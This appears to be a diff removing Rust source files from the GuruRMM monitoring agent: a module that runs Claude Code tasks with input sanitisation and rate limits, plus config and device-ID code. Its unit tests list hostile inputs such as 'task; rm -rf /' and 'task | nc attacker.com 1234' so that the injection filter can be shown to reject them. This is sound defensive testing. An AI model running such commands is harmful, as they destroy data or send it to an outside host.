||||
|
||||
/// Claude task command input structure
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct ClaudeTaskCommand {
|
||||
pub task: String,
|
||||
pub working_directory: Option<String>,
|
||||
pub timeout: Option<u64>,
|
||||
pub context_files: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
/// Claude task execution result
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct ClaudeTaskResult {
|
||||
pub status: TaskStatus,
|
||||
pub output: Option<String>,
|
||||
pub error: Option<String>,
|
||||
pub duration_seconds: u64,
|
||||
pub files_analyzed: Vec<String>,
|
||||
}
|
||||
|
||||
/// Task execution status
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum TaskStatus {
|
||||
Completed,
|
||||
Failed,
|
||||
Timeout,
|
||||
}
|
||||
|
||||
/// Rate limiting tracker
|
||||
struct RateLimiter {
|
||||
task_timestamps: Vec<Instant>,
|
||||
}
|
||||
|
||||
impl RateLimiter {
|
||||
fn new() -> Self {
|
||||
RateLimiter {
|
||||
task_timestamps: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a new task can be executed within rate limits
|
||||
fn can_execute(&mut self) -> bool {
|
||||
let now = Instant::now();
|
||||
let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);
|
||||
|
||||
// Remove timestamps outside the current window
|
||||
self.task_timestamps.retain(|&ts| ts > window_start);
|
||||
|
||||
self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
|
||||
}
|
||||
|
||||
/// Record a task execution
|
||||
fn record_execution(&mut self) {
|
||||
self.task_timestamps.push(Instant::now());
|
||||
}
|
||||
}
|
||||
|
||||
/// Global state for concurrent execution tracking and rate limiting
|
||||
pub struct ClaudeExecutor {
|
||||
active_tasks: Arc<Mutex<usize>>,
|
||||
rate_limiter: Arc<Mutex<RateLimiter>>,
|
||||
}
|
||||
|
||||
impl ClaudeExecutor {
|
||||
pub fn new() -> Self {
|
||||
ClaudeExecutor {
|
||||
active_tasks: Arc::new(Mutex::new(0)),
|
||||
rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute a Claude Code task
|
||||
pub async fn execute_task(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
// Check rate limiting
|
||||
{
|
||||
let mut limiter = self.rate_limiter.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
|
||||
})?;
|
||||
|
||||
if !limiter.can_execute() {
|
||||
return Err(format!(
|
||||
"[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
|
||||
MAX_TASKS_PER_WINDOW
|
||||
));
|
||||
}
|
||||
limiter.record_execution();
|
||||
}
|
||||
|
||||
// Check concurrent execution limit
|
||||
{
|
||||
let active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire active tasks lock: {}", e)
|
||||
})?;
|
||||
|
||||
if *active >= MAX_CONCURRENT_TASKS {
|
||||
return Err(format!(
|
||||
"[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
|
||||
MAX_CONCURRENT_TASKS
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Increment active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to increment active tasks: {}", e)
|
||||
})?;
|
||||
*active += 1;
|
||||
}
|
||||
|
||||
// Execute the task (ensure active count is decremented on completion)
|
||||
let result = self.execute_task_internal(cmd).await;
|
||||
|
||||
// Decrement active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to decrement active tasks: {}", e)
|
||||
})?;
|
||||
*active = active.saturating_sub(1);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Internal task execution implementation
|
||||
async fn execute_task_internal(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
let start_time = Instant::now();
|
||||
|
||||
// Validate and resolve working directory
|
||||
let working_dir = cmd
|
||||
.working_directory
|
||||
.as_deref()
|
||||
.unwrap_or(DEFAULT_WORKING_DIR);
|
||||
validate_working_directory(working_dir)?;
|
||||
|
||||
// Sanitize task input
|
||||
let sanitized_task = sanitize_task_input(&cmd.task)?;
|
||||
|
||||
// Resolve context files (validate they exist relative to working_dir)
|
||||
let context_files = match &cmd.context_files {
|
||||
Some(files) => validate_context_files(working_dir, files)?,
|
||||
None => Vec::new(),
|
||||
};
|
||||
|
||||
// Build Claude Code CLI command
|
||||
let mut cli_cmd = Command::new("claude");
|
||||
cli_cmd.current_dir(working_dir);
|
||||
|
||||
// Add context files if provided
|
||||
for file in &context_files {
|
||||
cli_cmd.arg("--file").arg(file);
|
||||
}
|
||||
|
||||
// Add the task prompt (using --print for non-interactive execution)
|
||||
cli_cmd.arg("--print").arg(&sanitized_task);
|
||||
|
||||
// Configure process pipes
|
||||
cli_cmd
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.kill_on_drop(true);
|
||||
|
||||
// Execute with timeout
|
||||
let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
|
||||
let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;
|
||||
|
||||
let duration = start_time.elapsed().as_secs();
|
||||
|
||||
// Process execution result
|
||||
match exec_result {
|
||||
Ok(Ok((stdout, stderr, exit_code))) => {
|
||||
if exit_code == 0 {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Completed,
|
||||
output: Some(stdout),
|
||||
error: None,
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
} else {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: Some(stdout),
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code exited with code {}: {}",
|
||||
exit_code, stderr
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: None,
|
||||
error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
Err(_) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Timeout,
|
||||
output: None,
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code execution timed out after {} seconds",
|
||||
timeout_duration.as_secs()
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Validate that working directory is within allowed paths
|
||||
fn validate_working_directory(working_dir: &str) -> Result<(), String> {
|
||||
let allowed_base = Path::new(r"C:\Shares\test");
|
||||
let requested_path = Path::new(working_dir);
|
||||
|
||||
// Convert to canonical paths (resolve .. and symlinks)
|
||||
let canonical_requested = requested_path
|
||||
.canonicalize()
|
||||
.map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;
|
||||
|
||||
let canonical_base = allowed_base.canonicalize().map_err(|e| {
|
||||
format!(
|
||||
"[ERROR] Failed to resolve allowed base directory: {}",
|
||||
e
|
||||
)
|
||||
})?;
|
||||
|
||||
// Check if requested path is within allowed base
|
||||
if !canonical_requested.starts_with(&canonical_base) {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
// Verify directory exists
|
||||
if !canonical_requested.is_dir() {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' does not exist or is not a directory",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sanitize task input to prevent command injection
|
||||
fn sanitize_task_input(task: &str) -> Result<String, String> {
|
||||
// Check for empty task
|
||||
if task.trim().is_empty() {
|
||||
return Err("[ERROR] Task cannot be empty".to_string());
|
||||
}
|
||||
|
||||
// Check for excessively long tasks (potential DoS)
|
||||
if task.len() > 10000 {
|
||||
return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
|
||||
}
|
||||
|
||||
// Check for potentially dangerous patterns
|
||||
let dangerous_patterns = [
|
||||
"&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
|
||||
];
|
||||
for pattern in &dangerous_patterns {
|
||||
if task.contains(pattern) {
|
||||
return Err(format!(
|
||||
"[ERROR] Task contains forbidden character '{}' that could be used for command injection",
|
||||
pattern
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(task.to_string())
|
||||
}
|
||||
|
||||
/// Validate context files exist and are within working directory
|
||||
fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
|
||||
let working_path = Path::new(working_dir);
|
||||
let mut validated_files = Vec::new();
|
||||
|
||||
for file in files {
|
||||
// Resolve file path relative to working directory
|
||||
let file_path = if Path::new(file).is_absolute() {
|
||||
PathBuf::from(file)
|
||||
} else {
|
||||
working_path.join(file)
|
||||
};
|
||||
|
||||
// Verify file exists
|
||||
if !file_path.exists() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' does not exist",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Verify it's a file (not a directory)
|
||||
if !file_path.is_file() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' is not a file",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Store the absolute path for execution
|
||||
validated_files.push(
|
||||
file_path
|
||||
.to_str()
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"[ERROR] Context file path '{}' contains invalid UTF-8",
|
||||
file_path.display()
|
||||
)
|
||||
})?
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
Ok(validated_files)
|
||||
}
|
||||
|
||||
/// Execute command and capture stdout, stderr, and exit code
|
||||
async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
|
||||
let mut child = cmd
|
||||
.spawn()
|
||||
.map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;
|
||||
|
||||
// Capture stdout
|
||||
let stdout_handle = child.stdout.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stdout from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stdout_reader = BufReader::new(stdout_handle).lines();
|
||||
|
||||
// Capture stderr
|
||||
let stderr_handle = child.stderr.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stderr from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stderr_reader = BufReader::new(stderr_handle).lines();
|
||||
|
||||
// Read stdout
|
||||
let stdout_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stdout_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Read stderr
|
||||
let stderr_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stderr_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Wait for process to complete
|
||||
let status = child
|
||||
.wait()
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;
|
||||
|
||||
// Wait for output reading tasks
|
||||
let stdout_lines = stdout_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
|
||||
let stderr_lines = stderr_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;
|
||||
|
||||
let stdout = stdout_lines.join("\n");
|
||||
let stderr = stderr_lines.join("\n");
|
||||
let exit_code = status.code().unwrap_or(-1);
|
||||
|
||||
Ok((stdout, stderr, exit_code))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_valid() {
|
||||
let task = "Check the sync log for errors in last 24 hours";
|
||||
assert!(sanitize_task_input(task).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_empty() {
|
||||
assert!(sanitize_task_input("").is_err());
|
||||
assert!(sanitize_task_input(" ").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_injection() {
|
||||
assert!(sanitize_task_input("task; rm -rf /").is_err());
|
||||
assert!(sanitize_task_input("task && echo malicious").is_err());
|
||||
assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
|
||||
assert!(sanitize_task_input("task `whoami`").is_err());
|
||||
assert!(sanitize_task_input("task $(malicious)").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_too_long() {
|
||||
let long_task = "a".repeat(10001);
|
||||
assert!(sanitize_task_input(&long_task).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_rate_limiter_allows_under_limit() {
|
||||
let mut limiter = RateLimiter::new();
|
||||
for _ in 0..MAX_TASKS_PER_WINDOW {
|
||||
assert!(limiter.can_execute());
|
||||
limiter.record_execution();
|
||||
}
|
||||
assert!(!limiter.can_execute());
|
||||
}
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
//! Remote command execution module
|
||||
//!
|
||||
//! Handles execution of commands received from the server.
|
||||
//! Command execution is currently handled inline in transport/websocket.rs
|
||||
//! This module will be expanded with additional features in Phase 2.
|
||||
|
||||
// Future additions:
|
||||
// - Command queue for offline execution
|
||||
// - Script caching
|
||||
// - Elevated execution handling
|
||||
// - Command result streaming
|
||||
@@ -1,290 +0,0 @@
|
||||
//! Agent configuration handling
|
||||
//!
|
||||
//! Configuration is loaded from a TOML file (default: agent.toml).
|
||||
//! The config file defines server connection, metrics collection,
|
||||
//! and watchdog settings.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::Path;
|
||||
|
||||
/// Root configuration structure
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AgentConfig {
|
||||
/// Server connection settings
|
||||
pub server: ServerConfig,
|
||||
|
||||
/// Metrics collection settings
|
||||
#[serde(default)]
|
||||
pub metrics: MetricsConfig,
|
||||
|
||||
/// Watchdog settings for monitoring services/processes
|
||||
#[serde(default)]
|
||||
pub watchdog: WatchdogConfig,
|
||||
}
|
||||
|
||||
/// Server connection configuration
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ServerConfig {
|
||||
/// WebSocket URL for the GuruRMM server (e.g., wss://rmm.example.com/ws)
|
||||
pub url: String,
|
||||
|
||||
/// API key for authentication (obtained from server during registration)
|
||||
pub api_key: String,
|
||||
|
||||
/// Optional custom hostname to report (defaults to system hostname)
|
||||
pub hostname_override: Option<String>,
|
||||
}
|
||||
|
||||
/// Metrics collection configuration
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct MetricsConfig {
|
||||
/// Interval in seconds between metrics collection (default: 60)
|
||||
#[serde(default = "default_metrics_interval")]
|
||||
pub interval_seconds: u64,
|
||||
|
||||
/// Whether to collect CPU metrics
|
||||
#[serde(default = "default_true")]
|
||||
pub collect_cpu: bool,
|
||||
|
||||
/// Whether to collect memory metrics
|
||||
#[serde(default = "default_true")]
|
||||
pub collect_memory: bool,
|
||||
|
||||
/// Whether to collect disk metrics
|
||||
#[serde(default = "default_true")]
|
||||
pub collect_disk: bool,
|
||||
|
||||
/// Whether to collect network metrics
|
||||
#[serde(default = "default_true")]
|
||||
pub collect_network: bool,
|
||||
}
|
||||
|
||||
impl Default for MetricsConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
interval_seconds: 60,
|
||||
collect_cpu: true,
|
||||
collect_memory: true,
|
||||
collect_disk: true,
|
||||
collect_network: true,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Watchdog configuration for service/process monitoring
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WatchdogConfig {
|
||||
/// Enable/disable watchdog functionality
|
||||
#[serde(default)]
|
||||
pub enabled: bool,
|
||||
|
||||
/// Interval in seconds between watchdog checks (default: 30)
|
||||
#[serde(default = "default_watchdog_interval")]
|
||||
pub check_interval_seconds: u64,
|
||||
|
||||
/// List of Windows/systemd services to monitor
|
||||
#[serde(default)]
|
||||
pub services: Vec<ServiceWatch>,
|
||||
|
||||
/// List of processes to monitor
|
||||
#[serde(default)]
|
||||
pub processes: Vec<ProcessWatch>,
|
||||
}
|
||||
|
||||
impl Default for WatchdogConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
enabled: false,
|
||||
check_interval_seconds: 30,
|
||||
services: Vec::new(),
|
||||
processes: Vec::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Configuration for monitoring a service
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ServiceWatch {
|
||||
/// Service name (e.g., "CagService" for Datto RMM, "Syncro" for Syncro)
|
||||
pub name: String,
|
||||
|
||||
/// Action to take when service is stopped
|
||||
#[serde(default)]
|
||||
pub action: WatchAction,
|
||||
|
||||
/// Maximum number of restart attempts before alerting (default: 3)
|
||||
#[serde(default = "default_max_restarts")]
|
||||
pub max_restarts: u32,
|
||||
|
||||
/// Cooldown period in seconds between restart attempts
|
||||
#[serde(default = "default_restart_cooldown")]
|
||||
pub restart_cooldown_seconds: u64,
|
||||
}
|
||||
|
||||
/// Configuration for monitoring a process
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ProcessWatch {
|
||||
/// Process name (e.g., "AEM.exe")
|
||||
pub name: String,
|
||||
|
||||
/// Action to take when process is not found
|
||||
#[serde(default)]
|
||||
pub action: WatchAction,
|
||||
|
||||
/// Optional path to executable to start if process is not running
|
||||
pub start_command: Option<String>,
|
||||
}
|
||||
|
||||
/// Action to take when a watched service/process is down
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum WatchAction {
|
||||
/// Only send an alert to the server
|
||||
#[default]
|
||||
Alert,
|
||||
|
||||
/// Attempt to restart the service/process
|
||||
Restart,
|
||||
|
||||
/// Ignore (for temporary disable without removing config)
|
||||
Ignore,
|
||||
}
|
||||
|
||||
// Default value functions for serde
|
||||
fn default_metrics_interval() -> u64 {
|
||||
60
|
||||
}
|
||||
|
||||
fn default_watchdog_interval() -> u64 {
|
||||
30
|
||||
}
|
||||
|
||||
fn default_max_restarts() -> u32 {
|
||||
3
|
||||
}
|
||||
|
||||
fn default_restart_cooldown() -> u64 {
|
||||
60
|
||||
}
|
||||
|
||||
fn default_true() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
impl AgentConfig {
|
||||
/// Load configuration from a TOML file
|
||||
pub fn load(path: &Path) -> Result<Self> {
|
||||
let content = std::fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read config file: {:?}", path))?;
|
||||
|
||||
let config: Self = toml::from_str(&content)
|
||||
.with_context(|| format!("Failed to parse config file: {:?}", path))?;
|
||||
|
||||
config.validate()?;
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
/// Validate the configuration
|
||||
fn validate(&self) -> Result<()> {
|
||||
// Validate server URL
|
||||
if self.server.url.is_empty() {
|
||||
anyhow::bail!("Server URL cannot be empty");
|
||||
}
|
||||
|
||||
if !self.server.url.starts_with("ws://") && !self.server.url.starts_with("wss://") {
|
||||
anyhow::bail!("Server URL must start with ws:// or wss://");
|
||||
}
|
||||
|
||||
// Validate API key
|
||||
if self.server.api_key.is_empty() {
|
||||
anyhow::bail!("API key cannot be empty");
|
||||
}
|
||||
|
||||
// Validate intervals
|
||||
if self.metrics.interval_seconds < 10 {
|
||||
anyhow::bail!("Metrics interval must be at least 10 seconds");
|
||||
}
|
||||
|
||||
if self.watchdog.check_interval_seconds < 5 {
|
||||
anyhow::bail!("Watchdog check interval must be at least 5 seconds");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate a sample configuration
|
||||
pub fn sample() -> Self {
|
||||
Self {
|
||||
server: ServerConfig {
|
||||
url: "wss://rmm-api.azcomputerguru.com/ws".to_string(),
|
||||
api_key: "your-api-key-here".to_string(),
|
||||
hostname_override: None,
|
||||
},
|
||||
metrics: MetricsConfig::default(),
|
||||
watchdog: WatchdogConfig {
|
||||
enabled: true,
|
||||
check_interval_seconds: 30,
|
||||
services: vec![
|
||||
ServiceWatch {
|
||||
name: "CagService".to_string(), // Datto RMM
|
||||
action: WatchAction::Restart,
|
||||
max_restarts: 3,
|
||||
restart_cooldown_seconds: 60,
|
||||
},
|
||||
ServiceWatch {
|
||||
name: "Syncro".to_string(),
|
||||
action: WatchAction::Restart,
|
||||
max_restarts: 3,
|
||||
restart_cooldown_seconds: 60,
|
||||
},
|
||||
],
|
||||
processes: vec![ProcessWatch {
|
||||
name: "AEM.exe".to_string(), // Datto AEM
|
||||
action: WatchAction::Alert,
|
||||
start_command: None,
|
||||
}],
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the hostname to report to the server
|
||||
pub fn get_hostname(&self) -> String {
|
||||
self.server
|
||||
.hostname_override
|
||||
.clone()
|
||||
.unwrap_or_else(|| hostname::get().map(|h| h.to_string_lossy().to_string()).unwrap_or_else(|_| "unknown".to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_sample_config_is_valid_structure() {
|
||||
let sample = AgentConfig::sample();
|
||||
// Sample uses placeholder values, so it won't pass full validation
|
||||
// but the structure should be correct
|
||||
assert!(!sample.server.url.is_empty());
|
||||
assert!(!sample.server.api_key.is_empty());
|
||||
assert!(sample.watchdog.enabled);
|
||||
assert!(!sample.watchdog.services.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_metrics_config() {
|
||||
let config = MetricsConfig::default();
|
||||
assert_eq!(config.interval_seconds, 60);
|
||||
assert!(config.collect_cpu);
|
||||
assert!(config.collect_memory);
|
||||
assert!(config.collect_disk);
|
||||
assert!(config.collect_network);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_watch_action_default() {
|
||||
let action = WatchAction::default();
|
||||
assert_eq!(action, WatchAction::Alert);
|
||||
}
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
//! Device ID generation
|
||||
//!
|
||||
//! Provides a stable, unique identifier for each machine that:
|
||||
//! - Survives agent reinstalls
|
||||
//! - Is hardware-derived when possible
|
||||
//! - Falls back to a persisted UUID if hardware IDs are unavailable
|
||||
|
||||
use anyhow::Result;
|
||||
use std::fs;
|
||||
use std::path::PathBuf;
|
||||
use tracing::{debug, info, warn};
|
||||
|
||||
/// Get the device ID for this machine
|
||||
///
|
||||
/// Priority:
|
||||
/// 1. Hardware-based ID (MachineGuid on Windows, machine-id on Linux)
|
||||
/// 2. Previously persisted ID
|
||||
/// 3. Generate and persist a new UUID
|
||||
pub fn get_device_id() -> String {
|
||||
// Try hardware-based ID first
|
||||
if let Some(id) = get_hardware_device_id() {
|
||||
debug!("Using hardware-based device ID");
|
||||
return id;
|
||||
}
|
||||
|
||||
// Try to read a persisted ID
|
||||
let persist_path = get_persist_path();
|
||||
if let Some(id) = read_persisted_id(&persist_path) {
|
||||
debug!("Using persisted device ID from {:?}", persist_path);
|
||||
return id;
|
||||
}
|
||||
|
||||
// Generate and persist a new ID
|
||||
let new_id = generate_device_id();
|
||||
info!("Generated new device ID, persisting to {:?}", persist_path);
|
||||
if let Err(e) = persist_device_id(&persist_path, &new_id) {
|
||||
warn!("Failed to persist device ID: {}", e);
|
||||
}
|
||||
|
||||
new_id
|
||||
}
|
||||
|
||||
/// Generate a new device ID (UUID v4)
|
||||
fn generate_device_id() -> String {
|
||||
uuid::Uuid::new_v4().to_string()
|
||||
}
|
||||
|
||||
/// Get the path where device ID should be persisted
|
||||
fn get_persist_path() -> PathBuf {
|
||||
#[cfg(target_os = "windows")]
|
||||
{
|
||||
// %ProgramData%\GuruRMM\.device-id
|
||||
let program_data = std::env::var("ProgramData")
|
||||
.unwrap_or_else(|_| "C:\\ProgramData".to_string());
|
||||
PathBuf::from(program_data).join("GuruRMM").join(".device-id")
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "windows"))]
|
||||
{
|
||||
// /var/lib/gururmm/.device-id
|
||||
PathBuf::from("/var/lib/gururmm/.device-id")
|
||||
}
|
||||
}
|
||||
|
||||
/// Read a persisted device ID from disk
|
||||
fn read_persisted_id(path: &PathBuf) -> Option<String> {
|
||||
fs::read_to_string(path)
|
||||
.ok()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty() && s.len() < 100)
|
||||
}
|
||||
|
||||
/// Persist device ID to disk
|
||||
fn persist_device_id(path: &PathBuf, id: &str) -> Result<()> {
|
||||
// Create parent directory if needed
|
||||
if let Some(parent) = path.parent() {
|
||||
fs::create_dir_all(parent)?;
|
||||
}
|
||||
fs::write(path, id)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get hardware-based device ID
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_hardware_device_id() -> Option<String> {
|
||||
// Try MachineGuid from registry
|
||||
// HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
|
||||
use std::process::Command;
|
||||
|
||||
let output = Command::new("reg")
|
||||
.args([
|
||||
"query",
|
||||
"HKLM\\SOFTWARE\\Microsoft\\Cryptography",
|
||||
"/v",
|
||||
"MachineGuid",
|
||||
])
|
||||
.output()
|
||||
.ok()?;
|
||||
|
||||
if !output.status.success() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||
|
||||
// Parse the output: "MachineGuid REG_SZ <guid>"
|
||||
for line in stdout.lines() {
|
||||
if line.contains("MachineGuid") {
|
||||
let parts: Vec<&str> = line.split_whitespace().collect();
|
||||
if parts.len() >= 3 {
|
||||
let guid = parts.last()?.trim();
|
||||
if !guid.is_empty() && guid.len() > 20 {
|
||||
return Some(format!("win-{}", guid));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Get hardware-based device ID
|
||||
#[cfg(target_os = "linux")]
|
||||
fn get_hardware_device_id() -> Option<String> {
|
||||
// Try /etc/machine-id first (systemd)
|
||||
if let Ok(id) = fs::read_to_string("/etc/machine-id") {
|
||||
let id = id.trim();
|
||||
if !id.is_empty() && id.len() >= 32 {
|
||||
return Some(format!("linux-{}", id));
|
||||
}
|
||||
}
|
||||
|
||||
// Try /var/lib/dbus/machine-id (older systems)
|
||||
if let Ok(id) = fs::read_to_string("/var/lib/dbus/machine-id") {
|
||||
let id = id.trim();
|
||||
if !id.is_empty() && id.len() >= 32 {
|
||||
return Some(format!("linux-{}", id));
|
||||
}
|
||||
}
|
||||
|
||||
// Try SMBIOS product UUID (requires root usually)
|
||||
if let Ok(id) = fs::read_to_string("/sys/class/dmi/id/product_uuid") {
|
||||
let id = id.trim();
|
||||
if !id.is_empty() && id.len() > 20 {
|
||||
return Some(format!("hw-{}", id));
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Get hardware-based device ID
|
||||
#[cfg(target_os = "macos")]
|
||||
fn get_hardware_device_id() -> Option<String> {
|
||||
use std::process::Command;
|
||||
|
||||
// Try IOPlatformUUID
|
||||
let output = Command::new("ioreg")
|
||||
.args(["-rd1", "-c", "IOPlatformExpertDevice"])
|
||||
.output()
|
||||
.ok()?;
|
||||
|
||||
if !output.status.success() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||
|
||||
// Parse: "IOPlatformUUID" = "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"
|
||||
for line in stdout.lines() {
|
||||
if line.contains("IOPlatformUUID") {
|
||||
if let Some(start) = line.find('"') {
|
||||
let rest = &line[start + 1..];
|
||||
if let Some(end) = rest.find('"') {
|
||||
let uuid = &rest[..end];
|
||||
// Skip the first quote if double-quoted
|
||||
let uuid = uuid.trim_start_matches('"');
|
||||
if !uuid.is_empty() && uuid.len() > 20 {
|
||||
return Some(format!("mac-{}", uuid));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Fallback for unsupported platforms
|
||||
#[cfg(not(any(target_os = "windows", target_os = "linux", target_os = "macos")))]
|
||||
fn get_hardware_device_id() -> Option<String> {
|
||||
None
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_get_device_id() {
|
||||
let id = get_device_id();
|
||||
assert!(!id.is_empty());
|
||||
println!("Device ID: {}", id);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_generate_device_id() {
|
||||
let id1 = generate_device_id();
|
||||
let id2 = generate_device_id();
|
||||
assert_ne!(id1, id2);
|
||||
assert!(id1.len() >= 32);
|
||||
}
|
||||
}
|
||||
@@ -1,704 +0,0 @@
|
||||
//! GuruRMM Agent - Cross-platform Remote Monitoring and Management Agent
|
||||
//!
|
||||
//! This agent connects to the GuruRMM server, reports system metrics,
|
